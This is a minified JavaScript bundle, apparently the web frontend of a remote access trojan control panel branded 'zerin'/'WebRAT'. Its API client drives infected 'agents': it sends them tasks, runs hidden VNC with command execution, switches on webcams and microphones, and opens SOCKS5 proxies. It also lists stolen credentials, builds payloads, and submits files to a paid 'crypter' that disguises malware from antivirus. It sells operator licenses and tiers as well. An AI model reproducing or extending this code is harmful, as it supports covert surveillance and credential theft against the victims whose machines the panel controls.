e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const xj=["post","put","patch","delete"];new Set(xj);const dE=["get",...xj];new Set(dE);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function To(){return To=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),m.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=Sx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const pE=m.createContext(null);function hE(e){let t=m.useContext(hr).outlet;return t&&m.createElement(pE.Provider,{value:e},t)}function il(){let{matches:e}=m.useContext(hr),t=e[e.length-1];return t?t.params:{}}function fd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(zx(i,r.v7_relativeSplatPath));return m.useMemo(()=>Sx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function xE(e,t){return vE(e,t)}function vE(e,t,n,r){ys()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(hr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?gs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=UP(e,{pathname:h}),g=jE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(dd.Provider,{value:{location:To({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function gE(){let e=SE(),t=uE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const yE=m.createElement(gE,null);class bE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(hr.Provider,{value:this.props.routeContext},m.createElement(gj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function wE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(ud);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),m.createElement(hr.Provider,{value:t},r)}function jE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var s;if(!n)return null;if(n.errors)e=n.matches;else if((s=r)!=null&&s.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Xe(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,p)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||yE,c&&(u<0&&p===0?(PE("route-fallback"),x=!0,y=null):u===p&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,p+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=m.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,m.createElement(wE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||p===0)?m.createElement(bE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var bj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(bj||{}),wj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(wj||{});function NE(e){let t=m.useContext(ud);return t||Xe(!1),t}function kE(e){let t=m.useContext(vj);return t||Xe(!1),t}function zE(e){let t=m.useContext(hr);return t||Xe(!1),t}function jj(e){let t=zE(),n=t.matches[t.matches.length-1];return n.route.id||Xe(!1),n.route.id}function SE(){var e;let t=m.useContext(gj),n=kE(),r=jj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function CE(){let{router:e}=NE(bj.UseNavigateStable),t=jj(wj.UseNavigateStable),n=m.useRef(!1);return yj(()=>{n.current=!0}),m.useCallback(function(i,s){s===void 0&&(s={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,To({fromRouteId:t},s)))},[e,t])}const Kg={};function PE(e,t,n){Kg[e]||(Kg[e]=!0)}function EE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function la(e){let{to:t,replace:n,state:r,relative:i}=e;ys()||Xe(!1);let{future:s,static:o}=m.useContext(Vr),{matches:l}=m.useContext(hr),{pathname:c}=ga(),u=xr(),d=Sx(t,zx(l,s.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return m.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function _E(e){return hE(e.context)}function mt(e){Xe(!1)}function AE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ci.Pop,navigator:s,static:o=!1,future:l}=e;ys()&&Xe(!1);let c=t.replace(/^\/*/,"/"),u=m.useMemo(()=>({basename:c,navigator:s,static:o,future:To({v7_relativeSplatPath:!1},l)}),[c,l,s,o]);typeof r=="string"&&(r=gs(r));let{pathname:d="/",search:f="",hash:p="",state:h=null,key:x="default"}=r,g=m.useMemo(()=>{let y=os(d,c);return y==null?null:{location:{pathname:y,search:f,hash:p,state:h,key:x},navigationType:i}},[c,d,f,p,h,x,i]);return g==null?null:m.createElement(Vr.Provider,{value:u},m.createElement(dd.Provider,{children:n,value:g}))}function OE(e){let{children:t,location:n}=e;return xE(_p(t),n)}new Promise(()=>{});function _p(e,t){t===void 0&&(t=[]);let n=[];return m.Children.forEach(e,(r,i)=>{if(!m.isValidElement(r))return;let s=[...t,i];if(r.type===m.Fragment){n.push.apply(n,_p(r.props.children,s));return}r.type!==mt&&Xe(!1),!r.props.index||!r.props.children||Xe(!1);let o={id:r.props.id||s.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=_p(r.props.children,s)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Jc(){return Jc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function TE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function ME(e,t){return e.button===0&&(!t||t==="_self")&&!TE(e)}function Ap(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function LE(e,t){let n=Ap(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const IE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],DE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],RE="6";try{window.__reactRouterVersion=RE}catch{}const $E=m.createContext({isTransitioning:!1}),BE="startTransition",Gg=dw[BE];function FE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=BP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Gg?Gg(()=>c(f)):c(f)},[c,u]);return m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>EE(r),[r]),m.createElement(AE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const WE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",UE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,xt=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=Nj(t,IE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&UE.test(u)&&(x=u,WE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=os(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=fE(u,{relative:i}),v=KE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Jc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),VE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Nj(t,DE),p=fd(c,{relative:f.relative}),h=ga(),x=m.useContext(vj),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&GE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=os(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let k=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",z=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:k,isPending:z,isTransitioning:v},O=k?r:void 0,A;typeof s=="function"?A=s(S):A=[s,k?"active":null,z?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(S):l;return m.createElement(xt,Jc({},f,{"aria-current":O,className:A,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Op;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Op||(Op={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function HE(e){let t=m.useContext(ud);return t||Xe(!1),t}function KE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=xr(),u=ga(),d=fd(e,{relative:o});return m.useCallback(f=>{if(ME(f,n)){f.preventDefault();let p=r!==void 0?r:Qc(u)===Qc(d);c(e,{replace:p,state:i,preventScrollReset:s,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,s,o,l])}function Cx(e){let t=m.useRef(Ap(e)),n=m.useRef(!1),r=ga(),i=m.useMemo(()=>LE(r.search,n.current?null:t.current),[r.search]),s=xr(),o=m.useCallback((l,c)=>{const u=Ap(typeof l=="function"?l(i):l);n.current=!0,s("?"+u,c)},[s,i]);return[i,o]}function GE(e,t){t===void 0&&(t={});let n=m.useContext($E);n==null&&Xe(!1);let{basename:r}=HE(Op.useViewTransitionState),i=fd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let s=os(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=os(n.nextLocation.pathname,r)||n.nextLocation.pathname;return Ep(i.pathname,o)!=null||Ep(i.pathname,s)!=null}const md="zerin_token",pd="zerin_role",hd="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(md,n.data.token),n.data.role&&sessionStorage.setItem(pd,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function st(){return sessionStorage.getItem(md)}function Px(e){sessionStorage.setItem(md,e)}function al(){sessionStorage.removeItem(md),sessionStorage.removeItem(pd),sessionStorage.removeItem(hd),Mo=null}function kj(){return sessionStorage.getItem(hd)||"rat"}let Mo=null;function YE(){return st()?Mo&&Date.now()/1e3>Mo?(al(),!1):!0:!1}class bi extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Ce(e,t={}){const n=st(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){al(),zi();const s=await i.text().catch(()=>"");let o="Unauthorized";if(s)try{o=JSON.parse(s).error||o}catch{o=s}throw new bi(401,o)}if(!i.ok){const s=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(s)try{o=JSON.parse(s).error||o}catch{}throw new bi(i.status,o)}if(i.status!==204)return i.json()}async function zj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function qE(e){const t=await zj(e.password),n=await Ce("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return Px(n.token),Mo=n.expires_at,n.role&&sessionStorage.setItem(pd,n.role),n.tier&&sessionStorage.setItem(hd,n.tier),zi(),n}async function XE(e){const t=await zj(e.password),n=await Ce("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return Px(n.token),Mo=n.expires_at,n.role&&sessionStorage.setItem(pd,n.role),n.tier&&sessionStorage.setItem(hd,n.tier),zi(),n}async function Sj(e){return Ce("/api/agents")}async function ZE(e){return Ce(`/api/agents/${e}`)}async function Cj(e){return Ce(`/api/agents/${e}`,{method:"DELETE"})}async function QE(e){await Promise.all(e.map(t=>Cj(t)))}async function JE(e){return Ce(`/api/agents/${e}/ban`,{method:"POST"})}async function e6(e){return Ce(`/api/agents/${e}/unban`,{method:"POST"})}async function Me(e,t){return Ce(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Xn(e){return Ce(`/api/agents/${e}/tasks`)}async function t6(){return Ce("/api/events")}async function n6(e,t){return Ce(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function r6(e){return Ce("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function i6(){return Ce("/api/payloads")}async function a6(){return Ce("/api/server-info")}async function s6(e){return Ce(`/api/payloads/${e}`,{method:"DELETE"})}async function Ex(e){return Ce(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function o6(e){return Ce(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function Pj(e){return Ce(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function l6(e){return Ce(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function c6(e,t,n=!1){return Ce(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function Ej(e,t=-1){return Ce(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function u6(e){return Ce(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function _j(e){return Ce(`/api/agents/${e}/mic/start`,{method:"POST"})}async function d6(e){return Ce(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function Aj(e){return Ce(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function f6(e){return Ce(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function m6(e){return Ce(`/api/agents/${e}/socks5/status`)}async function p6(e){const t=st(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw al(),zi(),new bi(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new bi(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new bi(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function h6(){return Ce("/api/admin/keys")}async function x6(e){return Ce("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function v6(e){return Ce(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function g6(){return Ce("/api/admin/operators")}async function y6(e,t){return Ce(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function b6(e,t){return Ce(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}async function w6(){return Ce("/api/credentials")}let wc=[];function j6(e){return wc.push(e),()=>{wc=wc.filter(t=>t!==e)}}function N6(){return YE()}function zi(){wc.forEach(e=>e())}function k6(){const e=st();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ya(){const e=m.useSyncExternalStore(j6,N6),t=m.useCallback(()=>{zi()},[]),n=m.useCallback(()=>{al(),zi()},[]),r=e?k6():null;return{isAuthenticated:e,token:st(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class z6 extends m.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?a.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),a.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function S6(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current{p()},w)}else al(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const nm="zerin_notifications_enabled";function C6(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(nm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(nm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(nm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const rm="zerin-uwu-mode",qg=20,P6=3e3;function E6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function _6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function A6(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function O6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Xg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Zg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function T6(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Xg[Math.floor(Math.random()*Xg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=Zg[Math.floor(Math.random()*Zg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${p}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Qg=["❤️","💖","💗","💕","♥️","🌸"];let Jg=0;function M6(e,t){const n=Date.now();if(n-Jg<60)return;Jg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Qg[Math.floor(Math.random()*Qg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function ey(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ty(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ny=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function L6(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ny[Math.floor(Math.random()*ny.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function I6(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(rm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return e?(s.add("femboy-theme"),ey()):(s.remove("femboy-theme"),ty()),()=>{s.remove("femboy-theme"),ty()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{T6(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{M6(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{L6(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},P6),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(rm)}catch{}_6()}return}if(n.current>=15&&A6(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(rm,"true")}catch{}E6(),O6(),ey()}},[e]);return{isActive:e,handleStatusClick:i}}const ry=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function D6(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const 